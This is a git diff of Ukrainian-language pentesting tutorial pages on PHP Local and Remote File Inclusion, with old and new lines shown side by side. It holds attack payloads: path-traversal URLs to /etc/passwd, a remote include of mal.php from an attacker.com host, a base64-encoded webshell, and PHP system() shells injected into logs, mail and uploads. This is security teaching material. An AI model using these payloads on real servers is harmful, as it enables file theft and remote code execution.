У PHP різні представлення шляху до файлу можуть вважатися еквівалентними через природу файлової системи. Наприклад: У PHP різні представлення шляху до файлу можуть вважатися еквівалентними через природу файлової системи. Наприклад:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` та `/etc/passwd/` всі розглядаються як один і той же шлях. - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` та `/etc/passwd/` всі розглядаються як один і той же шлях.
- Коли останні 6 символів - це `passwd`, додавання `/` (перетворюючи на `passwd/`) не змінює цільовий файл. - Коли останні 6 символів - це `passwd`, додавання `/` (перетворюючи його на `passwd/`) не змінює цільовий файл.
- Аналогічно, якщо до шляху файлу додається `.php` (як `shellcode.php`), додавання `/.` в кінці не змінить файл, до якого здійснюється доступ. - Аналогічно, якщо до шляху файлу додається `.php` (як `shellcode.php`), додавання `/.` в кінці не змінить файл, до якого здійснюється доступ.
Наведенні приклади демонструють, як використовувати скорочення шляху для доступу до `/etc/passwd`, поширеної цілі через її чутливий вміст (інформація про облікові записи користувачів): Наведенні приклади демонструють, як використовувати скорочення шляху для доступу до `/etc/passwd`, поширеної цілі через її чутливий вміст (інформація про облікові записи користувачів):
@ -119,7 +119,7 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
``` ```
У цих сценаріях кількість переходів може становити близько 2027, але це число може змінюватися в залежності від конфігурації сервера. У цих сценаріях кількість необхідних переходів може становити близько 2027, але це число може варіюватися в залежності від конфігурації сервера.
- **Використання крапкових сегментів та додаткових символів**: Послідовності переходів (`../`), поєднані з додатковими крапковими сегментами та символами, можуть бути використані для навігації по файловій системі, ефективно ігноруючи додані рядки сервером. - **Використання крапкових сегментів та додаткових символів**: Послідовності переходів (`../`), поєднані з додатковими крапковими сегментами та символами, можуть бути використані для навігації по файловій системі, ефективно ігноруючи додані рядки сервером.
- **Визначення необхідної кількості переходів**: Через проби та помилки можна знайти точну кількість послідовностей `../`, необхідних для навігації до кореневої директорії, а потім до `/etc/passwd`, забезпечуючи нейтралізацію будь-яких доданих рядків (як-от `.php`), але залишаючи бажаний шлях (`/etc/passwd`) незмінним. - **Визначення необхідної кількості переходів**: Через проби та помилки можна знайти точну кількість послідовностей `../`, необхідних для навігації до кореневої директорії, а потім до `/etc/passwd`, забезпечуючи нейтралізацію будь-яких доданих рядків (як-от `.php`), але залишаючи бажаний шлях (`/etc/passwd`) незмінним.
@ -127,7 +127,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
При використанні технік скорочення шляхів важливо розуміти поведінку парсингу шляхів сервера та структуру файлової системи. Кожен сценарій може вимагати різного підходу, і часто необхідно тестування, щоб знайти найбільш ефективний метод. При використанні технік скорочення шляхів важливо розуміти поведінку парсингу шляхів сервера та структуру файлової системи. Кожен сценарій може вимагати різного підходу, і часто необхідно тестування, щоб знайти найбільш ефективний метод.
**Цю вразливість виправлено в PHP 5.3.** **Цю вразливість було виправлено в PHP 5.3.**
### **Трюки обходу фільтрів** ### **Трюки обходу фільтрів**
``` ```
@ -139,17 +139,17 @@ http://example.com/index.php?page=PhP://filter
``` ```
## Віддалене включення файлів ## Віддалене включення файлів
У php це вимкнено за замовчуванням, оскільки **`allow_url_include`** є **Вимкнено.** Він повинен бути **Увімкнено**, щоб це працювало, і в такому випадку ви могли б включити PHP файл з вашого сервера і отримати RCE: У php це за замовчуванням вимкнено, оскільки **`allow_url_include`** є **Вимкнено.** Він повинен бути **Увімкнено** для того, щоб це працювало, і в такому випадку ви могли б включити PHP файл з вашого сервера і отримати RCE:
```python ```python
http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php
``` ```
Якщо з якоїсь причини **`allow_url_include`** увімкнено, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [згідно з цим постом](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете, наприклад, використовувати протокол даних з base64 для декодування b64 PHP коду та отримання RCE: Якщо з якоїсь причини **`allow_url_include`** увімкнено, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [згідно з цим постом](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете, наприклад, використовувати протокол даних з base64 для декодування коду PHP у форматі b64 та отримання RCE:
``` ```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
``` ```
> [!NOTE] > [!NOTE]
> У попередньому коді фінальний `+.txt` був доданий, оскільки зловмиснику потрібен рядок, який закінчується на `.txt`, тому рядок закінчується на ньому, а після декодування b64 ця частина поверне просто сміття, і справжній PHP код буде включено (і, отже, виконано). > У попередньому коді фінальний `+.txt` був доданий, оскільки зловмиснику потрібен рядок, який закінчується на `.txt`, тому рядок закінчується на ньому, і після декодування b64 ця частина поверне просто сміття, а реальний PHP код буде включено (і, отже, виконано).
Інший приклад **без використання протоколу `php://`** буде: Інший приклад **без використання протоколу `php://`** буде:
``` ```
@ -177,7 +177,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
## Топ 25 параметрів ## Топ 25 параметрів
Ось список з 25 найкращих параметрів, які можуть бути вразливими до локальних вразливостей включення файлів (LFI) (з [посилання](https://twitter.com/trbughunters/status/1279768631845494787)): Ось список з 25 найкращих параметрів, які можуть бути вразливими до вразливостей локального включення файлів (LFI) (з [посилання](https://twitter.com/trbughunters/status/1279768631845494787)):
``` ```
?cat={payload} ?cat={payload}
?dir={payload} ?dir={payload}
@ -209,7 +209,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
### php://filter ### php://filter
PHP фільтри дозволяють виконувати базові **операції модифікації даних** перед їх читанням або записом. Є 5 категорій фільтрів: PHP фільтри дозволяють виконувати базові **операції модифікації даних** перед їх читанням або записом. Існує 5 категорій фільтрів:
- [String Filters](https://www.php.net/manual/en/filters.string.php): - [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13` - `string.rot13`
@ -225,7 +225,7 @@ PHP фільтри дозволяють виконувати базові **оп
- `convert.iconv.*` : Перетворює в іншу кодування (`convert.iconv.<input_enc>.<output_enc>`). Щоб отримати **список всіх підтримуваних кодувань**, запустіть у консолі: `iconv -l` - `convert.iconv.*` : Перетворює в іншу кодування (`convert.iconv.<input_enc>.<output_enc>`). Щоб отримати **список всіх підтримуваних кодувань**, запустіть у консолі: `iconv -l`
> [!WARNING] > [!WARNING]
> Зловживаючи фільтром перетворення `convert.iconv.*`, ви можете **генерувати довільний текст**, що може бути корисним для запису довільного тексту або створення функції, яка включає процес довільного тексту. Для отримання додаткової інформації перегляньте [**LFI2RCE через php фільтри**](lfi2rce-via-php-filters.md). > Зловживаючи фільтром перетворення `convert.iconv.*`, ви можете **генерувати довільний текст**, що може бути корисно для запису довільного тексту або створення функції, яка включає обробку довільного тексту. Для отримання додаткової інформації перегляньте [**LFI2RCE через php фільтри**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php) - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Стискає вміст (корисно, якщо потрібно ексфільтрувати багато інформації) - `zlib.deflate`: Стискає вміст (корисно, якщо потрібно ексфільтрувати багато інформації)
@ -265,7 +265,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
``` ```
> [!WARNING] > [!WARNING]
> Частина "php://filter" нечутлива до регістру > Частина "php://filter" не чутлива до регістру
### Використання фільтрів php як оракула для читання довільних файлів ### Використання фільтрів php як оракула для читання довільних файлів
@ -367,14 +367,14 @@ phar-deserialization.md
### CVE-2024-2961 ### CVE-2024-2961
Було можливим зловживати **будь-яким довільним читанням файлів з PHP, що підтримує php фільтри**, щоб отримати RCE. Детальний опис можна [**знайти в цьому пості**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ Було можливим зловживати **будь-яким довільним читанням файлів з PHP, що підтримує php фільтри**, щоб отримати RCE. Детальний опис можна [**знайти в цьому пості**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Дуже короткий підсумок: **3-байтовий переповнення** в купі PHP було зловжито для **зміни ланцюга вільних частин** специфічного розміру, щоб мати можливість **записувати що завгодно за будь-якою адресою**, тому був доданий хуки для виклику **`system`**.\ Дуже короткий підсумок: **3-байтовий переповнення** в купі PHP було зловжито для **зміни ланцюга вільних шматків** специфічного розміру, щоб мати можливість **записувати що завгодно за будь-якою адресою**, тому був доданий хук для виклику **`system`**.\
Було можливим виділяти частини специфічних розмірів, зловживаючи більше php фільтрами. Було можливим виділяти шматки специфічних розмірів, зловживаючи більше php фільтрами.
### Більше протоколів ### Більше протоколів
Перевірте більше можливих [**протоколів для включення тут**](https://www.php.net/manual/en/wrappers.php)**:** Перевірте більше можливих [**протоколів для включення тут**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис в пам'ять або в тимчасовий файл (не впевнений, як це може бути корисно в атаці на включення файлів) - [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис у пам'ять або в тимчасовий файл (не впевнений, як це може бути корисно в атаці на включення файлів)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Доступ до локальної файлової системи - [file://](https://www.php.net/manual/en/wrappers.file.php) — Доступ до локальної файлової системи
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Доступ до HTTP(s) URL - [http://](https://www.php.net/manual/en/wrappers.http.php) — Доступ до HTTP(s) URL
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Доступ до FTP(s) URL - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Доступ до FTP(s) URL
@ -404,7 +404,7 @@ assert("strpos('$file', '..') === false") or die("");
## PHP Blind Path Traversal ## PHP Blind Path Traversal
> [!WARNING] > [!WARNING]
> Ця техніка актуальна в випадках, коли ви **контролюєте** **шлях до файлу** функції **PHP**, яка буде **доступати до файлу**, але ви не побачите вміст файлу (як простий виклик **`file()`**), але вміст не відображається. > Ця техніка актуальна в випадках, коли ви **контролюєте** **шлях до файлу** функції **PHP**, яка буде **доступатися до файлу**, але ви не побачите вміст файлу (як простий виклик **`file()`**), але вміст не відображається.
У [**цьому неймовірному пості**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) пояснюється, як сліпий перехід по шляху може бути зловжито через фільтр PHP для **екстракції вмісту файлу через помилковий оракул**. У [**цьому неймовірному пості**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) пояснюється, як сліпий перехід по шляху може бути зловжито через фільтр PHP для **екстракції вмісту файлу через помилковий оракул**.
@ -420,18 +420,18 @@ assert("strpos('$file', '..') === false") or die("");
### Remote File Inclusion ### Remote File Inclusion
Пояснено раніше, [**перейдіть за цим посиланням**](./#remote-file-inclusion). Як було пояснено раніше, [**перейдіть за цим посиланням**](./#remote-file-inclusion).
### Через файл журналу Apache/Nginx ### Через файл журналу Apache/Nginx
Якщо сервер Apache або Nginx **вразливий до LFI** всередині функції включення, ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, встановивши в **user agent** або в **GET параметрі** php shell, наприклад, **`<?php system($_GET['c']); ?>`** і включити цей файл. Якщо сервер Apache або Nginx є **вразливим до LFI** всередині функції включення, ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, встановивши в **user agent** або в **GET параметрі** php shell, наприклад, **`<?php system($_GET['c']); ?>`** і включити цей файл.
> [!WARNING] > [!WARNING]
> Зверніть увагу, що **якщо ви використовуєте подвійні лапки** для shell замість **одинарних лапок**, подвійні лапки будуть змінені на рядок "_**quote;**_", **PHP викине помилку** там, і **нічого іншого не буде виконано**. > Зверніть увагу, що **якщо ви використовуєте подвійні лапки** для shell замість **одинарних лапок**, подвійні лапки будуть змінені на рядок "_**quote;**_", **PHP викине помилку** там, і **нічого іншого не буде виконано**.
> >
> Також переконайтеся, що ви **правильно написали payload**, інакше PHP буде помилятися щоразу, коли намагатиметься завантажити файл журналу, і у вас не буде другої можливості. > Також переконайтеся, що ви **правильно написали payload**, інакше PHP буде помилятися щоразу, коли намагатиметься завантажити файл журналу, і у вас не буде другої можливості.
Це також можна зробити в інших журналах, але **будьте обережні**, код всередині журналів може бути URL-кодований, і це може знищити Shell. Заголовок **authorisation "basic"** містить "user:password" у Base64, і він декодується всередині журналів. PHPShell може бути вставлений у цей заголовок.\ Це також можна зробити в інших журналах, але **будьте обережні**, код всередині журналів може бути URL-кодований, і це може знищити Shell. Заголовок **authorisation "basic"** містить "user:password" в Base64, і він декодується всередині журналів. PHPShell може бути вставлений всередині цього заголовка.\
Інші можливі шляхи до журналів: Інші можливі шляхи до журналів:
```python ```python
/var/log/apache2/access.log /var/log/apache2/access.log
@ -444,16 +444,16 @@ assert("strpos('$file', '..') === false") or die("");
/var/log/nginx/error.log /var/log/nginx/error.log
/var/log/httpd/error_log /var/log/httpd/error_log
``` ```
Список слів для Fuzzing: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) Список слів для фуззингу: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Через електронну пошту ### Через електронну пошту
**Надішліть лист** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте включити до листа користувача шляхом, наприклад, **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`** **Надішліть лист** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте включити до листа користувача шлях, наприклад **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
### Через /proc/\*/fd/\* ### Через /proc/\*/fd/\*
1. Завантажте багато shell'ів (наприклад: 100) 1. Завантажте багато оболонок (наприклад: 100)
2. Включіть [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна перебрати) і $FD - дескриптор файлу (також можна перебрати) 2. Включіть [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна перебрати) і $FD - файловий дескриптор (також можна перебрати)
### Через /proc/self/environ ### Через /proc/self/environ
@ -464,7 +464,7 @@ User-Agent: <?=phpinfo(); ?>
``` ```
### Via upload ### Via upload
Якщо ви можете завантажити файл, просто вставте в нього shell payload (наприклад: `<?php system($_GET['c']); ?>`). Якщо ви можете завантажити файл, просто вставте оболонковий код у нього (наприклад: `<?php system($_GET['c']); ?>`).
``` ```
http://example.com/index.php?page=path/to/uploaded/file.png http://example.com/index.php?page=path/to/uploaded/file.png
``` ```
@ -502,7 +502,7 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
### **Через** **vsftpd** _**логи**_ ### **Через** **vsftpd** _**логи**_
Логи для FTP сервера vsftpd знаходяться в _**/var/log/vsftpd.log**_. У сценарії, де існує вразливість Local File Inclusion (LFI), і доступ до відкритого сервера vsftpd можливий, можна розглянути наступні кроки: Логи для FTP сервера vsftpd знаходяться за адресою _**/var/log/vsftpd.log**_. У сценарії, де існує вразливість Local File Inclusion (LFI), і доступ до відкритого сервера vsftpd можливий, можна розглянути наступні кроки:
1. Впровадьте PHP payload у поле імені користувача під час процесу входу. 1. Впровадьте PHP payload у поле імені користувача під час процесу входу.
2. Після впровадження використовуйте LFI для отримання логів сервера з _**/var/log/vsftpd.log**_. 2. Після впровадження використовуйте LFI для отримання логів сервера з _**/var/log/vsftpd.log**_.
@ -572,7 +572,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
``` ```
### Через phpinfo() (file_uploads = on) ### Через phpinfo() (file_uploads = on)
Якщо ви знайшли **Local File Inclusion** і файл, що відкриває **phpinfo()** з file_uploads = on, ви можете отримати RCE: Якщо ви знайшли **Local File Inclusion** і файл, що показує **phpinfo()** з file_uploads = on, ви можете отримати RCE:
{{#ref}} {{#ref}}
lfi2rce-via-phpinfo.md lfi2rce-via-phpinfo.md
@ -598,8 +598,8 @@ lfi2rce-via-eternal-waiting.md
Якщо ви включите будь-який з файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Вам потрібно включити той самий файл 2 рази, щоб викликати цю помилку). Якщо ви включите будь-який з файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Вам потрібно включити той самий файл 2 рази, щоб викликати цю помилку).
**Я не знаю, як це може бути корисно, але це може бути.**\ **Я не знаю, як це корисно, але це може бути.**\
&#xNAN;_&#x45;навіть якщо ви викликаєте Фатальну Помилку PHP, тимчасові файли PHP, що були завантажені, видаляються._ &#xNAN;_&#x45;навіть якщо ви викликаєте Фатальну Помилку PHP, тимчасові файли PHP, що завантажуються, видаляються._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>

View File

@ -22,7 +22,7 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_temp_new(); *newstream = php_stream_temp_new();
} }
``` ```
### Умова гонки до RCE ### Умова гонки для RCE
[**Цей CTF**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer) був вирішений за допомогою попереднього трюку. [**Цей CTF**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer) був вирішений за допомогою попереднього трюку.
@ -34,6 +34,6 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
Однак, на веб-сервері є перевірка, яка **запобігає завантаженню файлів, що містять `<?`**. Тому зловмисник зловживає **умовою гонки**. У з'єднанні, що все ще відкрите, **зловмисник** **надішле PHP корисне навантаження ПІСЛЯ** того, як **веб-сервер** **перевірив**, чи містить файл заборонені символи, але **ДО того, як він завантажить його вміст**. Однак, на веб-сервері є перевірка, яка **запобігає завантаженню файлів, що містять `<?`**. Тому зловмисник зловживає **умовою гонки**. У з'єднанні, що все ще відкрите, **зловмисник** **надішле PHP корисне навантаження ПІСЛЯ** того, як **веб-сервер** **перевірив**, чи містить файл заборонені символи, але **ДО того, як він завантажить його вміст**.
Для отримання додаткової інформації перегляньте опис Умови гонки та CTF у [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer) Для отримання додаткової інформації перегляньте опис умови гонки та CTF у [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -17,12 +17,12 @@ max_file_uploads = 20
### Інші техніки ### Інші техніки
Інші техніки базуються на атаках на PHP протоколи (ви не зможете, якщо контролюєте лише останню частину шляху), розкритті шляху до файлу, зловживанні очікуваними файлами або **змушуванні PHP зазнати сегментаційної помилки, щоб завантажені тимчасові файли не були видалені**.\ Інші техніки базуються на атаці протоколів PHP (ви не зможете, якщо контролюєте лише останню частину шляху), розкритті шляху до файлу, зловживанні очікуваними файлами або **змушуванні PHP зазнати сегментаційної помилки, щоб завантажені тимчасові файли не були видалені**.\
Ця техніка **дуже схожа на останню, але не вимагає знаходження нульового дня**. Ця техніка **дуже схожа на останню, але без необхідності знаходити нульовий день**.
### Техніка вічного очікування ### Техніка вічного очікування
У цій техніці **нам потрібно лише контролювати відносний шлях**. Якщо нам вдасться завантажити файли і зробити так, щоб **LFI ніколи не закінчувався**, у нас буде "досить часу", щоб **брутфорсити завантажені файли** і **знайти** будь-який з них. У цій техніці **нам потрібно лише контролювати відносний шлях**. Якщо нам вдасться завантажити файли і зробити так, щоб **LFI ніколи не закінчувався**, у нас буде "досить часу", щоб **брутфорсити завантажені файли** та **знайти** будь-який з них.
**Переваги цієї техніки**: **Переваги цієї техніки**:
@ -33,15 +33,15 @@ max_file_uploads = 20
**Основні проблеми** цієї техніки: **Основні проблеми** цієї техніки:
- Потрібні конкретні файли для присутності (може бути більше) - Потрібні специфічні файли для присутності (може бути більше)
- **Безумна** кількість потенційних імен файлів: **56800235584** - **Безумна** кількість потенційних імен файлів: **56800235584**
- Якщо сервер **не використовує цифри**, загальна потенційна кількість становить: **19770609664** - Якщо сервер **не використовує цифри**, загальна потенційна кількість становить: **19770609664**
- За замовчуванням **лише 20 файлів** можуть бути завантажені в **одному запиті**. - За замовчуванням **лише 20 файлів** можуть бути завантажені в **одному запиті**.
- **Максимальна кількість паралельних робітників** використовуваного сервера. - **Максимальна кількість паралельних робітників** використовуваного сервера.
- Це обмеження разом з попередніми може зробити цю атаку занадто тривалою - Це обмеження разом з попередніми може зробити цю атаку занадто тривалою
- **Тайм-аут для PHP запиту**. Ідеально, щоб це було вічно або щоб вбивати процес PHP без видалення тимчасово завантажених файлів, інакше це також буде проблемою - **Тайм-аут для запиту PHP**. В ідеалі це має бути вічним або має вбивати процес PHP без видалення тимчасово завантажених файлів, якщо ні, це також буде проблемою
Отже, як ви можете **зробити так, щоб PHP включення ніколи не закінчувалося**? Просто включивши файл **`/sys/kernel/security/apparmor/revision`** (**на жаль, не доступний у контейнерах Docker...**). Отже, як ви можете **зробити так, щоб включення PHP ніколи не закінчувалося**? Просто включивши файл **`/sys/kernel/security/apparmor/revision`** (**на жаль, не доступний у контейнерах Docker...**).
Спробуйте це, просто викликавши: Спробуйте це, просто викликавши:
```bash ```bash
@ -72,7 +72,7 @@ include("/sys/kernel/security/apparmor/revision");
Якщо замість використання звичайного php моду для apache для виконання PHP скриптів **веб-сторінка використовує** **PHP-FMP** (це покращує ефективність веб-сторінки, тому його часто можна знайти), є ще щось, що можна зробити для покращення техніки. Якщо замість використання звичайного php моду для apache для виконання PHP скриптів **веб-сторінка використовує** **PHP-FMP** (це покращує ефективність веб-сторінки, тому його часто можна знайти), є ще щось, що можна зробити для покращення техніки.
PHP-FMP дозволяє **налаштувати** **параметр** **`request_terminate_timeout`** в **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\ PHP-FMP дозволяє **налаштувати** **параметр** **`request_terminate_timeout`** в **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
Цей параметр вказує максимальну кількість секунд **коли** **запит до PHP повинен завершитися** (безкінечно за замовчуванням, але **30с, якщо параметр не закоментований**). Коли запит обробляється PHP вказану кількість секунд, він **вбивається**. Це означає, що якщо запит завантажував тимчасові файли, тому що **обробка php була зупинена**, ці **файли не будуть видалені**. Отже, якщо ви можете зробити запит тривати цей час, ви можете **згенерувати тисячі тимчасових файлів**, які не будуть видалені, що **прискорить процес їх знаходження** і зменшить ймовірність DoS для платформи, споживаючи всі з'єднання. Цей параметр вказує максимальну кількість секунд **коли** **запит до PHP повинен завершитися** (безкінечно за замовчуванням, але **30с, якщо параметр не закоментований**). Коли запит обробляється PHP вказану кількість секунд, він **вбивається**. Це означає, що якщо запит завантажував тимчасові файли, тому що **обробка php була зупинена**, ці **файли не будуть видалені**. Отже, якщо ви можете зробити запит тривати цей час, ви можете **згенерувати тисячі тимчасових файлів**, які не будуть видалені, що **прискорить процес їх знаходження** і зменшує ймовірність DoS для платформи, споживаючи всі з'єднання.
Отже, щоб **уникнути DoS**, припустимо, що **зловмисник буде використовувати лише 100 з'єднань** одночасно, а максимальний час обробки php за **php-fmp** (`request_terminate_timeout`**)** становить **30с**. Отже, кількість **тимчасових файлів**, які можуть бути згенеровані **за секунду**, становить `100*20/30 = 66.67`. Отже, щоб **уникнути DoS**, припустимо, що **зловмисник буде використовувати лише 100 з'єднань** одночасно, а максимальний час обробки php за **php-fmp** (`request_terminate_timeout`**)** становить **30с**. Отже, кількість **тимчасових файлів**, які можуть бути згенеровані **за секунду**, становить `100*20/30 = 66.67`.

View File

@ -6,7 +6,7 @@
Цей [**звіт**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php фільтри для генерації довільного контенту** як виходу. Це в основному означає, що ви можете **генерувати довільний php код** для включення **без необхідності записувати** його у файл. Цей [**звіт**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php фільтри для генерації довільного контенту** як виходу. Це в основному означає, що ви можете **генерувати довільний php код** для включення **без необхідності записувати** його у файл.
Основна мета скрипту полягає в тому, щоб **згенерувати рядок Base64** на **початку** файлу, який буде **врешті-решт декодований**, надаючи бажане навантаження, яке буде **інтерпретоване `include`**. Основна мета скрипту полягає в тому, щоб **згенерувати рядок Base64** на **початку** файлу, який буде **врешті-решт декодований**, надаючи бажане навантаження, яке буде **інтерпретовано `include`**.
Основи для цього такі: Основи для цього такі:
@ -18,11 +18,11 @@
1. додати `\x1b$)C` до нашого рядка, як описано вище 1. додати `\x1b$)C` до нашого рядка, як описано вище
2. застосувати деяку ланцюг конверсій iconv, яка залишає наш початковий base64 незмінним і перетворює частину, яку ми тільки що додали, в деякий рядок, де єдиним дійсним символом base64 є наступна частина нашого коду php, закодованого в base64 2. застосувати деяку ланцюг конверсій iconv, яка залишає наш початковий base64 незмінним і перетворює частину, яку ми тільки що додали, в деякий рядок, де єдиним дійсним символом base64 є наступна частина нашого коду php, закодованого в base64
3. декодувати base64 і повторно закодувати рядок, що видалить будь-який сміття між 3. декодувати base64 і повторно закодувати рядок, що видалить будь-який сміття між
4. Повернутися до 1, якщо base64, який ми хочемо створити, ще не закінчений 4. Повернутися до 1, якщо base64, який ми хочемо побудувати, ще не закінчений
5. декодувати base64, щоб отримати наш php код 5. декодувати base64, щоб отримати наш php код
> [!WARNING] > [!WARNING]
> **Включення** зазвичай роблять такі речі, як **додавання ".php" в кінець** файлу, що може ускладнити експлуатацію цього, оскільки вам потрібно буде знайти .php файл з контентом, який не знищить експлуатацію... або ви **можете просто використовувати `php://temp` як ресурс**, оскільки він може **мати що завгодно додано в ім'я** (наприклад, +".php") і це все ще дозволить експлуатації працювати! > **Включення** зазвичай роблять такі речі, як **додавання ".php" в кінець** файлу, що може ускладнити експлуатацію цього, оскільки вам потрібно буде знайти .php файл з вмістом, який не знищить експлуатацію... або ви **можете просто використовувати `php://temp` як ресурс**, оскільки він може **мати що завгодно додано в ім'я** (наприклад, +".php") і це все ще дозволить експлуатації працювати!
## Як також додати суфікси до отриманих даних ## Як також додати суфікси до отриманих даних

View File

@ -10,7 +10,7 @@
``` ```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
``` ```
Вам також потрібно змінити **payload** на початку експлойту (наприклад, для php-rev-shell), **REQ1** (це має вказувати на сторінку phpinfo і містити заповнення, тобто: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), та **LFIREQ** (це має вказувати на вразливість LFI, тобто: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Перевірте подвійну "%" під час експлуатації нульового символу) Вам потрібно також змінити **payload** на початку експлойту (наприклад, для php-rev-shell), **REQ1** (це має вказувати на сторінку phpinfo і містити заповнення, тобто: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), та **LFIREQ** (це має вказувати на вразливість LFI, тобто: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Перевірте подвійну "%" під час експлуатації нульового символу)
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %} {% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
@ -18,17 +18,17 @@ sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
Якщо завантаження дозволено в PHP і ви намагаєтеся завантажити файл, цей файл зберігається в тимчасовому каталозі, поки сервер не закінчить обробку запиту, потім цей тимчасовий файл видаляється. Якщо завантаження дозволено в PHP і ви намагаєтеся завантажити файл, цей файл зберігається в тимчасовому каталозі, поки сервер не закінчить обробку запиту, потім цей тимчасовий файл видаляється.
Отже, якщо ви знайшли вразливість LFI на веб-сервері, ви можете спробувати вгадати ім'я тимчасового файлу, що створюється, і експлуатувати RCE, отримуючи доступ до тимчасового файлу до його видалення. Отже, якщо ви знайшли вразливість LFI на веб-сервері, ви можете спробувати вгадати назву тимчасового файлу, що створюється, і експлуатувати RCE, отримуючи доступ до тимчасового файлу до його видалення.
У **Windows** файли зазвичай зберігаються в **C:\Windows\temp\php** У **Windows** файли зазвичай зберігаються в **C:\Windows\temp\php**
